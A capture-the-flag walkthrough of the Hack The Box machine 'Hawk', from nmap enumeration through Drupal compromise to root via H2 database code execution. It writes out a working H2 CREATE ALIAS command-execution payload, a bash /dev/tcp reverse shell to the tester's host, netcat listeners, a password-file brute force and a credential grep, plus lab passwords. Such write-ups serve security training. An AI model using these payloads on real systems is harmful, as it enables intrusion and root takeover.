Hack The Box - Hawk
Enumeration
TCP
TCP Nmap scans show a good number of services running. Most obvious is FTP on port 21, which nmap shows having anonymous access. Port 22 shows that OpenSSH 7.6p1 is running on Ubuntu. Port 80 hows Apache 2.4.29, with Drupal 7 running on top.
Nmap scan report for 10.10.10.102
Host is up, received user-set (0.054s latency).
Not shown: 65529 closed ports
Reason: 65529 conn-refused
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Jun 16 2018 messages
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.14.34
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e4:0c:cb:c5:a5:91:78:ea:54:96:af:4d:03:e4:fc:88 (RSA)
| 256 95:cb:f8:c7:35:5e:af:a9:44:8b:17:59:4d:db:5a:df (ECDSA)
|_ 256 4a:0b:2e:f7:1d:99:bc:c7:d3:0b:91:53:b9:3b:e2:79 (ED25519)
80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Welcome to 192.168.56.103 | 192.168.56.103
5435/tcp open tcpwrapped syn-ack
8082/tcp open http syn-ack H2 database http console
|_http-title: H2 Console
9092/tcp open XmlIpcRegSvc? syn-ack
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9092-TCP:V=7.80%I=7%D=3/5%Time=5E6153DB%P=x86_64-pc-linux-gnu%r(NUL
SF:L,45E,"\0\0\0\0\0\0\0\x05\x009\x000\x001\x001\x007\0\0\0F\0R\0e\0m\0o\0
SF:t\0e\0\x20\0c\0o\0n\0n\0e\0c\0t\0i\0o\0n\0s\0\x20\0t\0o\0\x20\0t\0h\0i\
SF:0s\0\x20\0s\0e\0r\0v\0e\0r\0\x20\0a\0r\0e\0\x20\0n\0o\0t\0\x20\0a\0l\0l
SF:\0o\0w\0e\0d\0,\0\x20\0s\0e\0e\0\x20\0-\0t\0c\0p\0A\0l\0l\0o\0w\0O\0t\0
SF:h\0e\0r\0s\xff\xff\xff\xff\0\x01`\x05\0\0\x01\xd8\0o\0r\0g\0\.\0h\x002\
SF:0\.\0j\0d\0b\0c\0\.\0J\0d\0b\0c\0S\0Q\0L\0E\0x\0c\0e\0p\0t\0i\0o\0n\0:\
SF:0\x20\0R\0e\0m\0o\0t\0e\0\x20\0c\0o\0n\0n\0e\0c\0t\0i\0o\0n\0s\0\x20\0t
SF:\0o\0\x20\0t\0h\0i\0s\0\x20\0s\0e\0r\0v\0e\0r\0\x20\0a\0r\0e\0\x20\0n\0
SF:o\0t\0\x20\0a\0l\0l\0o\0w\0e\0d\0,\0\x20\0s\0e\0e\0\x20\0-\0t\0c\0p\0A\
SF:0l\0l\0o\0w\0O\0t\0h\0e\0r\0s\0\x20\0\[\x009\x000\x001\x001\x007\0-\x00
SF:1\x009\x006\0\]\0\n\0\t\0a\0t\0\x20\0o\0r\0g\0\.\0h\x002\0\.\0m\0e\0s\0
SF:s\0a\0g\0e\0\.\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0g\0e\0t\0J\0d\0b\0
SF:c\0S\0Q\0L\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\(\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o
SF:\0n\0\.\0j\0a\0v\0a\0:\x003\x004\x005\0\)\0\n\0\t\0a\0t\0\x20\0o\0r\0g\
SF:0\.\0h\x002\0\.\0m\0e\0s\0s\0a\0g\0e\0\.\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\
SF:0n\0\.\0g\0e\0t\0\(\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0j\0a\0v\0a\0:
SF:\x001\x007\x009\0\)\0\n\0\t\0a\0t\0\x20\0o\0r\0g\0\.\0h\x002\0\.\0m\0e\
SF:0s\0s\0a\0g\0e\0\.\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0g\0e\0t\0\(\0D
SF:\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0j\0a\0v\0a\0:\x001\x005\x005\0\)\0\
SF:n\0\t\0a\0t\0\x20\0o\0r\0g\0\.\0h\x002\0\.\0m\0e\0s\0s\0a\0g\0e\0\.\0D\
SF:0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0g\0e\0t\0\(\0D\0b\0E\0x\0c\0e\0p\0t\
SF:0i\0o\0n\0\.\0j\0a\0v\0a\0:\x001\x004\x004\0\)\0\n\0\t\0a\0t\0\x20\0o\0
SF:r")%r(informix,45E,"\0\0\0\0\0\0\0\x05\x009\x000\x001\x001\x007\0\0\0F\
SF:0R\0e\0m\0o\0t\0e\0\x20\0c\0o\0n\0n\0e\0c\0t\0i\0o\0n\0s\0\x20\0t\0o\0\
SF:x20\0t\0h\0i\0s\0\x20\0s\0e\0r\0v\0e\0r\0\x20\0a\0r\0e\0\x20\0n\0o\0t\0
SF:\x20\0a\0l\0l\0o\0w\0e\0d\0,\0\x20\0s\0e\0e\0\x20\0-\0t\0c\0p\0A\0l\0l\
SF:0o\0w\0O\0t\0h\0e\0r\0s\xff\xff\xff\xff\0\x01`\x05\0\0\x01\xd8\0o\0r\0g
SF:\0\.\0h\x002\0\.\0j\0d\0b\0c\0\.\0J\0d\0b\0c\0S\0Q\0L\0E\0x\0c\0e\0p\0t
SF:\0i\0o\0n\0:\0\x20\0R\0e\0m\0o\0t\0e\0\x20\0c\0o\0n\0n\0e\0c\0t\0i\0o\0
SF:n\0s\0\x20\0t\0o\0\x20\0t\0h\0i\0s\0\x20\0s\0e\0r\0v\0e\0r\0\x20\0a\0r\
SF:0e\0\x20\0n\0o\0t\0\x20\0a\0l\0l\0o\0w\0e\0d\0,\0\x20\0s\0e\0e\0\x20\0-
SF:\0t\0c\0p\0A\0l\0l\0o\0w\0O\0t\0h\0e\0r\0s\0\x20\0\[\x009\x000\x001\x00
SF:1\x007\0-\x001\x009\x006\0\]\0\n\0\t\0a\0t\0\x20\0o\0r\0g\0\.\0h\x002\0
SF:\.\0m\0e\0s\0s\0a\0g\0e\0\.\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0g\0e\
SF:0t\0J\0d\0b\0c\0S\0Q\0L\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\(\0D\0b\0E\0x\0c\0
SF:e\0p\0t\0i\0o\0n\0\.\0j\0a\0v\0a\0:\x003\x004\x005\0\)\0\n\0\t\0a\0t\0\
SF:x20\0o\0r\0g\0\.\0h\x002\0\.\0m\0e\0s\0s\0a\0g\0e\0\.\0D\0b\0E\0x\0c\0e
SF:\0p\0t\0i\0o\0n\0\.\0g\0e\0t\0\(\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0
SF:j\0a\0v\0a\0:\x001\x007\x009\0\)\0\n\0\t\0a\0t\0\x20\0o\0r\0g\0\.\0h\x0
SF:02\0\.\0m\0e\0s\0s\0a\0g\0e\0\.\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0g
SF:\0e\0t\0\(\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0j\0a\0v\0a\0:\x001\x00
SF:5\x005\0\)\0\n\0\t\0a\0t\0\x20\0o\0r\0g\0\.\0h\x002\0\.\0m\0e\0s\0s\0a\
SF:0g\0e\0\.\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0g\0e\0t\0\(\0D\0b\0E\0x
SF:\0c\0e\0p\0t\0i\0o\0n\0\.\0j\0a\0v\0a\0:\x001\x004\x004\0\)\0\n\0\t\0a\
SF:0t\0\x20\0o\0r");
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
FTP
When we connect to the FTP server, we can see there is a single folder called messages
, containing a single hidden file called .drupal.txt.enc
.
We can grab it and download it to our machine. We can see that it’s an OpenSSL encrypted file, with a salted hash, that’s been base64 encoded.
HTTP
Navigating to http://10.10.10.102
confirms that this is a Drupal site. Notice that the page references itself as *192.168.56.103`, which is a completly different IP then we would expect.
We find a robots.txt
file, with the below disallowed paths.
# Directories
Disallow: /includes/
Disallow: /misc/
Disallow: /modules/
Disallow: /profiles/
Disallow: /scripts/
Disallow: /themes/
# Files
Disallow: /CHANGELOG.txt
Disallow: /cron.php
Disallow: /INSTALL.mysql.txt
Disallow: /INSTALL.pgsql.txt
Disallow: /INSTALL.sqlite.txt
Disallow: /install.php
Disallow: /INSTALL.txt
Disallow: /LICENSE.txt
Disallow: /MAINTAINERS.txt
Disallow: /update.php
Disallow: /UPGRADE.txt
Disallow: /xmlrpc.php
# Paths (clean URLs)
Disallow: /admin/
Disallow: /comment/reply/
Disallow: /filter/tips/
Disallow: /node/add/
Disallow: /search/
Disallow: /user/register/
Disallow: /user/password/
Disallow: /user/login/
Disallow: /user/logout/
# Paths (no clean URLs)
Disallow: /?q=admin/
Disallow: /?q=comment/reply/
Disallow: /?q=filter/tips/
Disallow: /?q=node/add/
Disallow: /?q=search/
Disallow: /?q=user/password/
Disallow: /?q=user/register/
Disallow: /?q=user/login/
Disallow: /?q=user/logout/
The CHANGELOG.txt
file tells us that this is Drupal 7.58.
UDP
If we run a UDP scans with nmap, we can see that SNMP is running on port 161.
Nmap scan report for 10.10.10.102
Host is up, received reset ttl 63 (0.058s latency).
Not shown: 49 closed ports
Reason: 49 port-unreaches
PORT STATE SERVICE REASON VERSION
161/udp open snmp udp-response ttl 63 net-snmp; net-snmp SNMPv3 server
| snmp-info:
| enterprise: net-snmp
| engineIDFormat: unknown
| engineIDData: f438a676ed23245b00000000
| snmpEngineBoots: 21
|_ snmpEngineTime: 8m20s
Running an SNMP scan with onesixtyone
gives us nothing with the standard public
community, so we can try feeding it a larger list. As you can see, after scanning over 3000 community names, all we got was the uname -a
output.
Initial Shell
Decrypt OpenSSL file
So we know that the file we grabbed from FTP is Base64 encoded, so that’s our first step. We can decode it with the below command.
base64 -d .drupal.txt.enc > drupal_unencoded.txt.enc
Now that it’s decoded, we can use the bruteforce-salted-openssl
tool to brute force the password for the file. The command is below. The password we get is friends
.
bruteforce-salted-openssl -t 50 -d SHA256 -f ~/wordlists/rockyou.txt drupal__unencoded.txt.enc
Now that we have the password, we can properly decrypt the file with the below command. The text of the file is below as well.
openssl aes-256-cbc -d -in drupal_decoded.txt.enc -out drupal.txt -k friends
Daniel,
Following the password for the portal:
PencilKeyboardScanner123
Please let us know when the portal is ready.
Kind Regards,
IT department
So we now have a possible username of daniel
and a password of PencilKeyboardScanner123
.
Drupal
Logging into the Drupal portal with daniel:PencilKeyboardScanner123
failed, but it worked with admin:PencilKeyboardScanner123
.
Right away, we can see that we can create new content, but it’s limited to Filtered HTML, Full HTML, or Plain text, none of which will get us code execution. However, if we look under Modules in the top menu, we see an unchecked option of PHP Filter, which will allow us to create PHP pages. Check the box, and hit Save Changes to enable the module.
When we go to create a new page now, we can see that PHP code is in the list. For the code, I used the PenTest Monkey PHP Reverse Shell file, and customized it to point back to my machine.
Before hitting Save however, open a listener with nc -lvnp 7500
, as the page will execute upon saving.
We have a shell as www-data
, and can read user.txt
from /home/daniel/user.txt
Privilege Escalation
Elevate to daniel
Now that we have a low-priv shell, we should find a way to get access to the account for daniel
. Basic enumeration didn’t turn up any low hanging fruit, so we should dig a bit deeper and look for passwords in the existing Drupal site. The command below will output any lines with password
in them, within the /var/www/html
directory.
grep --color=auto -rnw '/var/www/html' -ie "PASSWORD" --color=always 2> /dev/null
We get a ton of stuff, but a simple browse through finds us a password of drupal4hawk
in the /var/www/html/sites/default/settings.php
file, which contains credentials for authentication between Drupal and it’s backend database.
If we try this password for SSH as daniel
, we get a shell.
Note that the shell we’re dropped into is a Python interpreter. We can escape this with the below code, which will get us a proper bash shell.
import pty
pty.spawn("/bin/bash")
Exploiting CREATE ALIAS
for root
In our original enumeration, we saw that port 8082 was hosting an H2 database, which is a Java based, web-front-end database. However, when we tried to access it, we only got an error, since it wasn’t available externally.
However, when we enumerate the network connections active on the target, we can see that port 8082 is available locally. Additionally, it’s running as root
, which makes this our primary target.
We can access this internal site from our machine by doing some SSH port forwarding. This will forward the port to the same port on our machine, which will give us access. The command to port forward is below.
ssh -L 8082:127.0.0.1:8082 daniel@10.10.10.102
Once we’ve forwarded the port, we can navigate a browser to http://127.0.0.1:8082
to see the H2 console login.
Note that by default, the location being pointed to is ~/test
. We’re not sure if this directory exists, so we should change it to /root
. Fill in the credentials daniel:drupal4hawk
to get access to the H2 console.
In doing some reasearch, it seems that H2 is vulnerable to Remote Code Execution via the SQL CREATE ALIAS
method, which creates a java function, that we can use to run commands as root
. My code was taken from this excellent writeup.
To create the function, we can use the below code in the console, and hit Run
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
To run the function, we can use the below code to get RCE.
CALL SHELLEXEC('id')
Now that we have RCE, we need to get a reverse shell back. I tried multiple reverse shells, but it seems this method won’t allow for complicated commands. As an alternative, we can create a file with our SSH access called /tmp/bash_root.sh
that will get us the shell. The code for this file is below.
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.34/7600 0>&1
Make sure you make the new file executable with chmod +x bash_root.sh
.
Open a listener with
nc -lvnp 7600
to catch this new shell when executed.
In the H2 console, we can trigger the script with the below code.
CALL SHELLEXEC('/tmp/bash_root.sh')
We can read root.txt
from /root/root.txt